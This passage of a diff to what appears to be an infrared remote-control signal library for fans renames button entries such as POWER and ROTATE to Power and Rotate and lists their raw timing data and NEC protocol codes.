465 1221 461 1224 1274 410 467 1218 464 1221 461 1224 1274 7155 1280 405 1278 408 438 1247 435 1250 1279 406 440 1245 437 1249 1280 405 431 1255 438 1249 433 1252 1277 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1279 406 1307 377 438 1246 436 1249 1311 373 463 1221 462 1224 469 1216 466 1218 465 1220 463 1222 460 7967 1304 380 1303 382 464 1221 462 1223 1276 409 468 1217 466 1220 463 1223 459 1225 468 1217 465 1220 462 7966 1275 410 1303 382 464 1220 463 1222 1276 409 468 1218 465 1220 463 1223 459 1225 468 1217 435 1250 463 7965 1306 378 1304 381 465 1220 463 1222 1307 378 468 1217 465 1219 433 1253 440 1245 437 1248 434 1251 462 7966 1275 411 1282 404 432 1254 439 1248 1281 404 432 1254 439 1247 436 1250 433 1253 440 1246 437 1248 435 7995 1276 409 1284 402 434 1252 431 1255 1274 411 435 1251 431 1254 439 1247 436 1250 433 1253 440 1246 436 7992 1279 407 1276 410 436 1249 433 1252 1277 409 447 1238 434 1252 431 1254 439 1247 435 1250 433 1253 440 7990 1281 404 1278 406 440 1245 438 1249 1280 405 441 1245 437 1248 435 1251 432 1254 439 1247 435 1250 433 # -name: POWER +name: Power type: parsed protocol: NEC address: 80 00 00 00 command: 01 00 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NEC address: 80 00 00 00 command: 05 00 00 00 # -name: SPEED- +name: Speed_dn type: parsed protocol: NEC address: 80 00 00 00 command: 1B 00 00 00 -# TIMER DOWN -name: TIMER +# Timer DOWN +name: Timer type: parsed protocol: NEC address: 80 00 00 00 command: 09 00 00 00 -# ROTATE -name: ROTATE +# Rotate +name: Rotate type: parsed protocol: NEC address: 80 00 00 00 command: 03 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1397 357 1370 357 500 1188 1427 331 1343 383 473 1240 476 1240 476 1240 475 1240 475 1240 475 1240 1370 7358 1367 361 1366 361 496 1220 1366 361 1366 361 496 1220 495 1220 495 1220 495 1221 494 1220 495 1220 1366 7361 1365 361 1366 361 495 1221 1365 362 1365 362 494 1221 494 1221 494 1220 495 1220 495 1221 494 1220 1365 7361 1364 361 1366 362 494 1221 1365 362 1365 362 494 1221 494 1221 494 1221 494 1221 494 1221 494 1221 1365 7361 1364 362 1364 362 494 1221 1364 362 1365 362 495 1221 494 1221 494 1221 494 1221 494 1221 494 1221 1364 7361 1364 363 1364 363 493 1222 1364 363 1363 363 493 1223 492 1223 492 1223 492 1247 468 1223 492 1247 1339 7386 1338 388 1338 388 468 1247 1339 388 1338 388 468 1248 467 1247 468 1247 468 1247 468 1248 467 1247 1338 7387 1337 389 1338 389 467 1248 1338 389 1337 389 467 1248 467 1248 467 1248 467 1248 467 1248 467 1248 1337 7388 1336 389 1337 389 467 1249 1336 390 1337 390 466 1249 466 1249 466 1249 466 1249 466 1249 466 1248 1337 7388 1312 414 1312 414 465 1251 1335 391 1337 390 441 1274 441 1274 465 1249 464 1250 442 1274 441 1273 1337 7388 1311 414 1312 415 441 1274 1311 415 1311 415 441 1274 441 1274 441 1274 441 1274 441 1274 441 1274 1311 7413 1311 415 1312 415 441 1274 1311 415 1311 416 440 1275 440 1275 440 1275 440 1275 440 1275 439 1275 1310 7414 1309 416 1310 417 439 1276 1310 417 1309 417 438 1277 438 1277 438 1277 438 1301 413 1301 414 1301 1285 7439 1284 442 1284 442 414 1301 1284 443 1283 443 413 1302 413 1302 413 1302 413 1302 412 1302 413 1302 1283 7441 1283 443 1284 443 412 1303 1283 444 1282 444 412 1303 411 1303 412 1303 412 1303 412 1303 412 1303 1283 7441 1282 445 1281 445 411 1304 1282 470 1256 471 385 1330 385 1330 385 1330 385 1330 385 1330 385 1330 1256 7468 1255 471 1256 471 384 1331 1255 471 1255 472 383 1331 384 1331 383 1332 383 1332 383 1331 383 1332 1254 7470 1253 498 1228 499 356 1358 1228 499 1227 499 356 1359 356 1359 356 1359 356 1359 355 1360 355 1359 1227 7497 1226 526 1200 527 327 1387 1200 527 1199 554 300 1414 301 1415 299 1415 299 1415 300 1416 299 1415 1172 7553 1170 609 1117 583 270 1471 1117 637 1089 692 118 10334 871 # Osc -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 1395 358 1369 358 499 1215 1399 331 1341 384 472 1241 474 1240 475 1240 1345 383 473 1240 474 1240 474 8239 1366 387 1339 387 469 1246 1339 388 1339 387 469 1246 469 1246 469 1246 1339 388 469 1246 469 1246 469 8242 1339 387 1339 387 469 1246 1339 387 1339 387 469 1246 469 1246 469 1246 1339 387 469 1246 469 1246 468 8243 1338 388 1338 388 469 1246 1339 388 1338 388 468 1246 468 1246 469 1247 1338 388 468 1246 468 1247 468 8243 1338 388 1338 388 468 1246 1338 388 1338 388 468 1246 469 1246 468 1246 1339 387 469 1246 468 1246 468 8218 1363 363 1363 363 493 1222 1363 363 1363 363 493 1222 493 1222 492 1222 1363 363 493 1221 493 1222 493 8217 1363 363 1363 363 493 1222 1363 363 1363 363 493 1246 468 1223 492 1223 1361 375 481 1247 467 1247 467 8243 1337 388 1338 388 468 1247 1337 389 1337 388 468 1247 468 1247 468 1247 1337 389 467 1248 466 1248 466 8243 1337 389 1337 389 467 1248 1336 389 1337 390 466 1248 466 1248 466 1248 1336 390 466 1248 466 1248 466 8244 1336 390 1311 415 465 1249 1336 390 1336 391 465 1250 465 1249 465 1250 1310 415 465 1250 464 1250 439 8270 1310 416 1310 416 440 1275 1310 417 1309 417 438 1300 414 1301 413 1301 1284 442 414 1301 413 1301 413 8297 1284 442 1284 442 413 1301 1284 443 1283 443 413 1302 412 1302 412 1302 1282 443 413 1302 412 1302 412 8298 1282 443 1283 443 413 1302 1283 443 1283 444 412 1303 411 1303 411 1303 1282 444 412 1303 411 1303 411 8299 1280 445 1281 470 385 1329 1255 470 1256 471 384 1330 384 1329 385 1329 1255 471 385 1330 384 1330 384 8326 1253 472 1254 472 384 1331 1253 473 1253 499 356 1357 357 1358 356 1358 1226 499 356 1358 356 1359 355 8355 1224 502 1224 501 355 1385 1199 527 1199 527 328 1386 328 1386 328 1386 1199 527 328 1387 327 1387 327 8409 1171 554 1172 555 300 1414 1172 555 1171 555 300 1416 299 1416 298 1415 1171 556 298 1442 272 1442 272 8438 1143 583 1143 583 271 1471 1115 611 1115 664 179 1536 178 1563 122 1619 1006 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1395 359 1367 358 499 1213 1368 359 1366 359 473 1239 474 1239 474 1238 475 1238 1368 360 497 1215 497 8209 1362 364 1361 366 492 1221 1360 366 1359 366 491 1222 492 1222 491 1221 493 1245 1336 366 492 1222 492 8213 1360 366 1359 389 468 1222 1359 367 1358 390 467 1246 468 1246 468 1245 468 1246 1335 390 467 1246 467 8238 1335 390 1335 390 468 1246 1335 390 1335 390 467 1246 467 1246 468 1246 467 1246 1335 390 467 1246 467 8238 1334 390 1335 390 467 1247 1334 390 1335 391 466 1247 466 1247 466 1247 466 1247 1334 390 467 1247 466 8239 1334 391 1334 391 466 1247 1334 391 1334 391 467 1247 466 1247 466 1247 466 1248 1333 391 466 1248 465 8239 1333 392 1333 392 466 1248 1333 392 1333 392 465 1248 465 1248 465 1248 465 1248 1333 392 465 1248 465 8240 1332 392 1333 392 465 1248 1333 393 1332 393 464 1249 464 1249 464 1249 464 1249 1331 393 465 1249 464 8241 1331 393 1332 393 464 1250 1331 394 1331 394 463 1250 463 1251 462 1250 463 1251 1329 396 462 1251 462 8243 1305 420 1305 444 436 1277 1280 444 1281 445 435 1277 412 1301 436 1277 435 1277 1280 445 436 1277 436 8268 1280 445 1279 445 412 1301 1280 445 1280 445 411 1302 411 1302 411 1302 411 1302 1279 446 411 1302 411 8293 1278 446 1279 446 411 1303 1278 447 1277 447 410 1303 410 1304 409 1329 384 1329 1252 472 385 1329 384 8320 1252 473 1251 473 383 1330 1251 473 1252 473 384 1330 383 1330 383 1330 383 1330 1251 474 382 1330 383 8321 1250 474 1251 475 381 1331 1250 500 1224 500 356 1358 355 1358 355 1358 355 1358 1223 501 355 1358 355 8349 1223 502 1222 528 327 1386 1196 528 1196 530 326 1386 327 1387 326 1386 327 1413 1169 556 299 1414 299 8404 1169 556 1168 584 271 1441 1141 611 1113 637 216 1498 215 1524 178 1562 122 1564 1058 11171 970 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1366 359 1366 360 496 1214 1367 360 1395 331 524 1185 474 1239 474 1238 475 1238 475 1238 1343 383 498 8205 1366 386 1338 386 470 1244 1338 386 1339 386 470 1243 470 1244 469 1244 469 1243 470 1244 1338 386 470 8234 1338 386 1339 386 469 1244 1338 386 1339 386 470 1243 470 1220 493 1219 494 1243 470 1244 1338 362 494 8233 1339 362 1363 386 469 1244 1338 386 1339 386 469 1244 469 1244 469 1244 469 1244 469 1244 1338 387 468 8234 1338 386 1338 387 468 1244 1338 387 1337 387 468 1244 469 1244 468 1245 469 1244 469 1244 1338 387 468 8234 1337 387 1338 387 465 1247 1338 387 1338 387 468 1245 468 1244 444 1269 468 1246 467 1245 1337 387 468 8235 1337 387 1337 388 468 1245 1336 388 1336 388 466 1246 467 1245 468 1245 467 1247 467 1245 1312 412 467 8235 1312 412 1312 412 443 1270 1335 390 1311 412 468 1246 466 1246 467 1246 467 1246 467 1246 1311 412 467 8236 1311 413 1311 413 442 1271 1311 413 1311 413 442 1271 466 1247 466 1246 442 1271 442 1271 1311 413 442 8260 1311 413 1311 413 442 1271 1311 413 1311 414 441 1271 442 1271 465 1248 464 1249 465 1247 1310 414 441 8261 1334 390 1310 414 466 1247 1335 390 1333 391 465 1248 465 1248 465 1248 465 1248 465 1248 1334 390 465 8237 1334 391 1333 390 465 1248 1309 415 1309 416 464 1249 464 1249 463 1250 462 1275 438 1274 1307 394 438 8287 1283 441 1283 441 438 1274 1283 441 1283 442 436 1276 414 1299 438 1275 413 1300 412 1300 1282 442 413 8289 1282 443 1281 443 412 1301 1281 443 1281 443 412 1301 411 1302 411 1302 410 1327 385 1327 1255 469 386 8316 1255 470 1254 470 385 1327 1255 470 1254 470 385 1327 385 1328 384 1328 385 1328 385 1328 1254 470 385 8317 1253 471 1253 470 385 1329 1253 471 1253 471 384 1329 383 1330 382 1330 382 1330 383 1330 1252 473 382 8344 1226 498 1226 498 357 1356 1226 498 1226 498 356 1356 356 1356 356 1356 356 1356 356 1356 1226 499 355 8346 1224 499 1225 525 329 1384 1198 526 1198 525 329 1384 328 1384 328 1384 328 1384 329 1384 1198 526 328 8373 1198 526 1198 527 327 1385 1197 553 1171 553 301 1412 300 1412 300 1412 300 1386 327 1412 1170 554 299 8401 1170 554 1170 555 298 1414 1169 581 1143 582 271 1440 272 1440 272 1440 272 1441 271 1441 1142 609 244 8458 1113 636 1088 663 178 1507 1088 691 1033 -# TIMER OFF -name: TIMER +# Timer OFF +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 3583 1639 534 386 484 1208 534 386 484 386 485 386 484 387 483 386 484 386 485 386 457 394 476 394 451 419 452 419 476 1237 506 393 477 394 475 395 474 396 473 397 473 398 472 1270 472 399 471 1271 471 1270 471 399 470 401 469 1273 469 402 468 427 443 427 443 427 443 1299 443 427 443 427 444 427 444 427 444 1298 443 1299 442 427 444 427 445 426 445 425 446 425 447 424 447 399 472 398 473 1294 445 426 446 400 471 399 472 1294 446 425 447 398 473 1295 446 400 471 398 472 74544 3552 1672 472 399 471 1271 471 399 471 400 470 400 470 400 470 400 471 400 470 400 470 401 470 401 469 401 469 401 470 1273 470 400 470 401 469 401 469 401 470 401 469 401 470 1273 470 401 469 1273 470 1272 469 401 469 401 469 1274 468 401 469 401 469 401 470 402 469 1273 469 401 469 401 469 402 469 401 469 1273 469 1273 469 401 469 402 468 402 469 426 444 427 444 427 444 426 445 426 444 1274 468 402 469 426 444 427 443 1275 467 403 467 427 443 1275 467 402 468 427 443 # OFF -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1366 388 1295 387 446 1164 1368 387 1296 387 448 1164 518 1164 493 1189 517 1165 492 1189 493 1189 493 7851 1365 387 1270 388 446 1190 1365 387 1295 387 447 1192 490 1193 489 1193 489 1194 488 1194 488 1193 489 7855 1337 386 1296 386 448 1193 1338 386 1296 386 448 1193 489 1193 489 1193 489 1193 489 1193 489 1193 489 7855 1337 386 1297 386 448 1194 1337 386 1296 386 448 1194 488 1194 488 1194 488 1194 488 1194 488 1194 488 8160 1336 387 1296 387 447 1194 1337 387 1296 386 448 1194 488 1194 488 1194 488 1194 488 1194 488 1194 488 7855 1336 386 1297 387 447 1195 1336 386 1297 386 448 1195 486 1195 487 1195 487 1195 487 1196 486 1196 486 7881 1310 387 1272 397 436 1245 1286 397 1285 397 436 1246 436 1246 436 1247 435 1247 435 1248 434 1248 434 7934 1259 424 1259 424 408 1274 1258 424 1259 424 408 1274 408 1274 408 1274 408 1274 408 1274 408 1274 408 8239 1258 425 1258 424 408 1274 1258 424 1258 425 407 1273 408 1273 409 1273 408 1273 408 1274 408 1273 408 7907 1283 424 1258 424 409 1248 1283 399 1283 400 433 1247 434 1247 434 1247 434 1247 434 1247 434 1247 434 7905 1282 424 1258 425 407 1273 1257 425 1257 425 407 1273 407 1274 407 1274 407 1274 407 1275 406 1275 406 7958 1230 478 1204 478 353 1328 1204 478 1204 453 378 1327 353 1328 353 1302 379 1301 380 1301 380 1300 381 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1341 337 1339 338 496 1178 1395 305 1316 337 1339 338 496 1178 526 1151 526 1151 1366 335 1341 335 498 7888 1338 338 1337 339 495 1182 1336 340 1336 340 1336 340 494 1182 494 1182 494 1183 1336 340 1336 340 494 7892 1336 340 1336 340 494 1183 1336 340 1336 340 1336 340 494 1183 494 1183 494 1183 1335 341 1335 340 494 7893 1335 341 1335 341 493 1183 1336 341 1335 341 1335 341 493 1183 493 1183 494 1183 1335 341 1335 341 493 7893 1335 341 1335 341 493 1184 1334 341 1335 341 1335 341 493 1184 493 1184 493 1184 1335 341 1335 342 492 7894 1334 342 1334 342 492 1184 1334 342 1334 341 1335 342 492 1184 493 1184 492 1185 1334 342 1334 342 492 7894 1334 342 1334 342 492 1185 1333 343 1333 342 1334 342 492 1185 492 1185 492 1185 1333 343 1333 343 491 7895 1333 343 1333 343 491 1185 1333 343 1333 344 1332 344 490 1186 490 1186 491 1186 1333 344 1332 344 490 7897 1331 368 1308 368 466 1211 1308 368 1308 368 1308 368 466 1211 465 1211 466 1211 1307 368 1308 369 465 7921 1307 368 1308 368 466 1211 1308 368 1308 369 1307 368 466 1211 466 1211 465 1211 1308 369 1307 369 465 7921 1307 369 1307 369 465 1212 1307 369 1307 369 1307 369 465 1212 465 1212 465 1212 1307 369 1307 369 465 7922 1306 370 1306 370 464 1212 1307 370 1306 370 1306 370 464 1212 464 1213 464 1212 1306 370 1306 370 464 7922 1306 370 1306 371 463 1213 1306 370 1306 371 1305 371 463 1213 439 1238 439 1238 1305 371 1305 371 462 7924 1280 396 1280 396 438 1238 1281 396 1280 396 1280 396 438 1239 437 1239 438 1239 1280 396 1280 397 437 7949 1279 397 1279 397 437 1240 1279 398 1278 422 1254 422 412 1265 411 1265 412 1265 1254 422 1254 422 412 7974 1254 422 1254 422 412 1265 1254 423 1253 423 1253 449 384 1293 383 1293 383 1294 1225 451 1225 452 382 8056 1171 505 1171 532 188 1463 1169 # -name: MODE +name: Mode type: raw frequency: 38000 duty_cycle: 0.330000 data: 1349 364 1321 363 490 1219 1324 364 1294 389 463 1245 1324 363 462 1219 491 1221 462 1223 461 1226 484 8019 1292 393 1292 420 433 1252 1292 393 1292 420 433 1252 1292 393 460 1252 433 1252 460 1226 459 1252 433 8021 1317 393 1292 394 459 1226 1318 393 1292 394 458 1226 1318 394 432 1253 459 1226 459 1253 432 1253 459 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 1376 337 1348 363 462 1219 1325 390 1295 388 1322 363 490 1218 466 1219 465 1220 490 1222 1319 369 1316 7187 1292 393 1292 393 460 1252 1292 370 1315 393 1292 420 433 1252 433 1252 460 1252 433 1252 1292 393 1292 7188 1291 393 1318 393 433 1252 1292 393 1319 393 1291 393 460 1226 459 1252 432 1253 459 1225 1319 393 1292 # -name: POWER +name: Power type: parsed protocol: NECext address: 00 F3 00 00 command: 91 6E 00 00 # -name: TIMER +name: Timer type: parsed protocol: NECext address: 00 F3 00 00 command: 96 69 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 9253 4427 684 486 656 486 656 486 682 461 681 1573 680 1575 678 464 677 491 651 1604 650 1604 650 1604 650 1604 650 491 651 491 651 1604 650 1604 651 491 651 491 651 1604 650 1604 650 491 651 491 651 491 652 1604 650 1604 651 1604 650 491 651 491 652 1604 650 1604 650 1604 651 491 651 39948 9250 2183 651 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 9226 4450 657 484 657 484 658 484 657 485 657 1596 658 1597 681 487 653 488 653 1602 652 1602 652 1602 652 1602 652 490 652 490 652 1602 652 1602 652 490 652 490 652 490 652 1603 652 490 652 490 652 490 652 1602 652 1602 652 1602 653 1602 652 490 652 1602 652 1602 652 1602 653 489 653 39949 9250 2179 653 # OSC -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 9231 4449 657 484 658 483 659 483 659 483 659 1595 659 1595 659 485 681 461 680 1601 652 1602 653 1601 653 1601 653 488 654 488 654 1602 653 1601 653 488 654 488 654 1602 653 1602 652 1602 652 488 654 488 654 1602 653 1601 653 1602 652 488 654 488 654 488 654 1602 652 1602 653 488 654 39978 9229 2174 654 96468 9259 2146 679 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 9384 4452 658 485 657 484 658 484 659 485 657 1597 658 1597 682 487 655 488 654 1603 652 1603 653 1603 653 1604 653 491 653 491 653 1603 653 1603 653 1603 653 491 653 1604 652 490 654 1603 652 490 653 490 653 1603 652 490 653 1603 652 490 653 1603 652 490 653 1603 652 1603 652 490 653 39953 9263 2181 652 # -name: POWER +name: Power type: parsed protocol: NEC address: 01 00 00 00 command: 83 00 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NEC address: 01 00 00 00 command: 87 00 00 00 # -name: TIMER +name: Timer type: parsed protocol: NEC address: 01 00 00 00 command: 8B 00 00 00 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2256 695 788 1354 789 1349 789 1340 792 702 762 697 763 692 789 661 788 720 786 693 786 689 785 685 784 681 784 676 784 1334 784 1330 783 102265 2255 695 787 1356 786 1352 785 1348 785 681 783 676 783 671 784 666 784 724 784 696 783 691 784 686 784 681 783 676 784 1335 783 1330 783 # OSC -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 2227 749 733 1382 761 1379 866 1292 841 566 898 591 868 588 866 582 760 1412 867 612 866 576 898 603 867 598 866 1256 759 695 867 1246 759 101611 2335 615 868 1245 899 1268 869 1266 867 566 898 591 760 694 761 689 760 1411 760 720 760 715 759 710 759 705 759 1363 760 696 758 1352 761 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 2224 708 755 1419 757 1443 756 685 756 1470 757 709 758 710 784 657 836 708 756 763 785 1468 782 1444 755 737 756 712 754 1471 781 1419 780 101298 2250 656 778 1420 809 1391 753 686 755 1472 779 687 779 687 752 688 831 714 778 741 750 1502 776 1422 752 740 752 741 751 1448 751 1475 749 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2203 675 786 1388 867 1361 786 678 786 1444 758 708 759 707 760 707 786 735 757 760 786 735 757 736 781 711 757 734 759 733 785 734 758 101185 2198 708 757 1416 757 1442 756 685 755 1445 780 685 780 662 776 689 803 742 778 740 753 766 779 715 777 714 779 714 778 690 776 742 752 # StrengthUp -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 2224 685 782 1419 808 1418 779 687 757 1470 757 710 757 684 809 657 809 736 758 1469 758 736 756 1470 757 762 755 1446 782 1418 781 712 755 101352 2223 707 758 1417 834 1392 781 685 781 1446 780 687 754 687 754 713 804 741 779 1447 779 715 778 1447 779 740 752 1448 778 1422 779 690 775 # StrengthDown -name: SPEED- +name: Speed_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 2222 685 781 1419 808 1419 780 686 755 1447 781 684 783 686 780 686 807 1470 757 1470 756 1471 756 1497 756 1445 780 1447 780 1421 779 1421 754 101509 2250 684 777 1421 781 1444 754 687 754 1472 779 687 779 688 753 688 830 1448 777 1449 778 1448 752 1501 752 1450 773 1451 778 1422 778 1423 777 # -name: POWER +name: Power type: parsed protocol: NECext address: 41 59 00 00 command: 05 FA 00 00 # -name: SPEED+ +name: Speed_up type: parsed protocol: NECext address: 41 59 00 00 command: 44 BB 00 00 # OFF -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1332 391 1303 359 485 1241 1304 391 1303 391 452 1242 452 1242 452 1243 451 1243 452 1243 452 1242 1303 7275 1303 391 1303 390 453 1240 1330 364 1328 366 477 1218 476 1218 476 1220 474 1220 474 1220 474 1220 1325 7252 1326 369 1325 369 475 1219 1325 369 1325 369 475 1219 475 1219 475 1219 475 1219 475 1219 475 1219 1326 7254 1326 369 1326 369 475 1219 1326 369 1326 369 475 1219 475 1220 475 1219 475 1219 475 1220 475 1220 1325 7256 1325 370 1325 370 474 1220 1325 370 1325 370 474 1220 475 1220 474 1220 474 1220 474 1221 474 1221 1324 7281 1301 370 1325 370 474 1220 1325 370 1324 370 474 1221 474 1221 473 1221 473 1221 473 1221 474 1220 1325 7256 1325 370 1324 371 473 1221 1324 370 1324 370 474 1221 473 1221 473 1220 474 1220 474 1220 474 1220 1324 7256 1324 371 1323 371 473 1221 1323 371 1323 371 473 1221 473 1221 473 1221 473 1221 473 1221 473 1221 1323 7256 1323 371 1323 371 473 1222 1322 372 1322 372 472 1222 472 1222 472 1222 472 1222 472 1222 472 1222 1322 7281 1297 372 1322 373 471 1246 1298 396 1298 397 447 1247 447 1247 447 1247 447 1247 447 1247 447 1247 1297 7281 1297 397 1297 397 447 1247 1297 397 1297 397 447 1247 447 1247 447 1247 447 1247 447 1248 446 1248 1296 7282 1296 398 1296 398 446 1248 1296 398 1296 398 447 1248 446 1248 446 1248 446 1247 447 1247 447 1248 1295 7281 1296 398 1296 398 446 1248 1296 399 1295 399 446 1248 446 1248 446 1248 446 1248 446 1248 446 1248 1296 7282 1296 399 1295 399 445 1248 1295 399 1295 399 445 1248 446 1249 444 1249 445 1249 445 1249 445 1249 1294 7282 1294 399 1295 400 444 1249 1295 399 1294 400 444 1250 444 1249 445 1250 444 1249 445 1250 444 1250 1294 7282 1294 400 1294 400 444 1250 1294 400 1294 401 443 1251 443 1250 444 1250 444 1250 444 1250 443 1251 1292 7284 1292 401 1293 402 442 1251 1292 402 1291 403 442 1276 418 1252 442 1276 418 1277 417 1277 417 1277 1242 7334 1268 427 1242 452 392 1302 1242 452 1242 452 392 1302 392 1302 392 1302 392 1302 391 1302 392 1302 1242 7335 1241 453 1240 453 391 1302 1241 453 1240 453 391 1303 390 1303 390 1303 390 1304 390 1303 391 1304 1240 7361 1216 479 1216 479 364 1330 1215 479 1215 480 363 1330 364 1330 364 1330 364 1330 364 1330 364 1330 1214 7362 1213 480 1214 480 363 1331 1213 481 1213 482 361 1332 362 1332 362 1331 363 1331 362 1332 362 1332 1212 7391 1185 508 1185 509 334 1359 1185 509 1184 509 334 1359 335 1359 334 1386 307 1386 307 1386 307 1386 1159 7445 1131 562 1131 616 196 1471 1104 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 2265 691 792 690 792 684 793 1342 821 1310 821 640 822 634 822 660 792 718 791 690 791 685 791 680 791 675 791 670 790 1330 789 662 788 99517 2230 723 760 721 760 715 761 1374 761 1368 762 699 762 694 762 689 762 747 761 719 761 715 761 710 761 705 761 701 760 1360 760 691 760 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 2312 617 867 641 840 577 899 1269 866 1265 865 622 839 593 864 612 838 670 839 1306 839 611 865 1271 864 627 839 1259 865 590 866 611 840 102129 2316 670 813 667 813 664 811 1323 810 1319 759 702 759 697 759 692 759 750 759 1386 758 717 759 1376 758 706 759 1365 759 696 759 691 760 # -name: SPEED- +name: Speed_dn type: raw frequency: 38000 duty_cycle: 0.330000 data: 2232 725 759 722 759 717 759 1375 760 1370 760 702 759 697 759 692 788 1384 788 1356 788 1351 788 1347 787 1342 787 1338 786 670 785 1330 784 99591 2229 724 760 721 785 690 785 1349 784 1345 784 677 783 673 782 669 781 1391 781 1363 781 1359 780 1353 781 1349 780 1343 781 675 780 1334 780 # -name: TIMER +name: Timer type: raw frequency: 38000 duty_cycle: 0.330000 data: 2230 724 760 720 761 715 761 1374 761 1370 760 701 760 696 760 691 786 1385 760 720 787 689 760 710 760 705 786 1339 785 670 785 665 784 98757 2224 729 754 726 755 721 754 1380 754 1375 754 706 754 701 754 696 754 1418 754 726 754 720 755 716 755 710 755 1369 755 700 755 696 755 # -name: ROTATE +name: Rotate type: raw frequency: 38000 duty_cycle: 0.330000 data: 2256 698 786 695 786 689 787 1348 787 1342 787 673 788 668 787 663 787 722 786 696 784 1353 786 1375 759 706 759 702 783 672 783 1332 782 102265 2310 645 838 668 812 664 811 1323 810 1319 810 651 809 647 808 642 808 701 807 673 807 1332 807 1327 807 658 808 653 807 648 807 1307 807 # -name: POWER +name: Power type: raw frequency: 38000 duty_cycle: 0.330000 data: 1356 337 1423 337 516 1157 1298 409 1296 416 448 1274 451 1276 452 1274 450 1274 449 1277 449 1275 1301 7091 1301 407 1300 405 450 1267 1302 407 1301 414 450 1274 451 1275 451 1275 451 1276 450 1275 451 1274 1302 7074 1303 406 1302 406 450 1268 1301 409 1299 416 449 1277 472 1254 473 1253 473 1254 472 1254 473 1252 1323 7069 1325 384 1300 408 470 1247 1324 387 1299 417 471 1253 472 1254 472 1254 472 1254 472 1254 472 1252 1324 7052 1324 384 1300 408 472 1246 1324 387 1299 417 472 1253 472 1254 472 1254 472 1254 473 1254 472 1252 1324 7064 1325 385 1323 385 471 1246 1324 387 1323 394 471 1254 471 1254 472 1254 472 1254 472 1254 472 1252 1324 7053 1324 385 1323 385 471 1247 1323 387 1322 394 471 1254 472 1254 472 1255 471 1255 471 1255 472 1253 1323 7070 1323 385 1323 385 471 1247 1323 388 1322 395 470 1254 472 1255 471 1255 471 1255 471 1255 471 1253 1323 7054 1323 386 1322 386 470 1248 1322 413 1297 396 470 1255 470 1256 470 1256 470 1256 470 1256 471 1254 1322 7071 1322 411 1297 387 469 1249 1321 414 1296 396 470 1280 445 1281 446 1281 445 1282 445 1282 445 1280 1296 7076 1296 412 1296 412 444 1274 1297 413 1297 421 445 1281 445 1282 444 1282 444 1282 445 1282 444 1280 1296 7098 1295 412 1296 412 445 1275 1296 414 1296 421 445 1282 444 1282 445 1282 444 1283 444 1282 445 1280 1296 7082 1296 412 1296 412 445 1275 1295 414 1296 421 444 1282 444 1282 444 1283 444 1283 444 1282 445 1280 1296 7098 1296 413 1295 413 444 1275 1295 415 1295 422 444 1283 443 1282 444 1283 443 1282 445 1282 444 1281 1295 7082 1295 413 1295 413 444 1275 1295 415 1294 423 443 1283 443 1283 443 1283 443 1283 443 1283 443 1281 1294 7093 1295 413 1295 414 443 1276 1294 415 1295 423 443 1283 443 1283 443 1283 443 1283 444 1283 444 1280 1295 7082 1295 414 1294 414 443 1276 1294 416 1294 423 443 1283 443 1283 443 1283 443 1283 444 1283 444 1281 1294 7098 1295 414 1294 414 443 1276 1294 416 1294 424 442 1284 443 1283 443 1283 443 1284 443 1283 443 1281 1294 7083 1294 414 1294 415 442 1277 1293 417 1293 425 441 1284 442 1284 442 1284 442 1284 442 1284 443 1282 1293 7099 1294 415 1293 416 441 1278 1292 418 1292 425 441 1285 441 1285 441 1285 442 1285 441 1285 441 1283 1292 7083 1293 417 1291 441 415 1279 1292 443 1267 451 415 1286 440 1286 441 1286 440 1285 441 1286 440 1284 1291 7096 1292 441 1267 442 415 1304 1266 444 1266 451 415 1311 415 1287 439 1287 440 1311 415 1286 440 1285 1290 7085 1291 442 1241 467 414 1304 1266 445 1241 476 414 1313 414 1312 415 1311 415 1312 415 1312 414 1310 1241 7151 1242 467 1241 467 415 1305 1241 469 1241 477 412 1314 414 1312 414 1312 414 1312 414 1312 414 1310 1241 7135 1241 467 1241 468 389 1330 1241 470 1240 477 389 1337 389 1337 414 1312 414 1313 413 1313 389 1335 1241 7151 1241 469 1239 470 386 1331 1240 496 1214 503 362 1338 388 1338 388 1338 388 1338 388 1338 388 1336 1240 7130 1241 494 1214 495 361 1357 1214 497 1213 504 362 1364 362 1364 362 1364 363 1364 362 1364 362 1362 1214 7153 1239 495 1213 496 360 1358 1213 498 1212 531 334 1365 362 1365 361 1365 361 1365 362 1364 362 1363 1213 7162 1213 496 1212 522 334 1359 1212 524 1186 532 333 1367 359 1366 360 1366 361 1365 361 1365 361 1364 1211 7180 1212 523 1185 550 306 1387 1185 552 1157 586 278 1395 332 1394 332 1394 332 1393 333 1393 334 1391 1184 7190 1185 576 1131 604 250 1415 1158 660 1049 2341 251 1448 278 1422 305 1448 278 1448 278 1447 1130 7229 1157 # -name: SPEED+ +name: Speed_up type: raw frequency: 38000 duty_cycle: 0.330000 data: 1357 353 1327 382 448 1239 1333 409 1301 416 477 1246 452 1274 452 1274 453 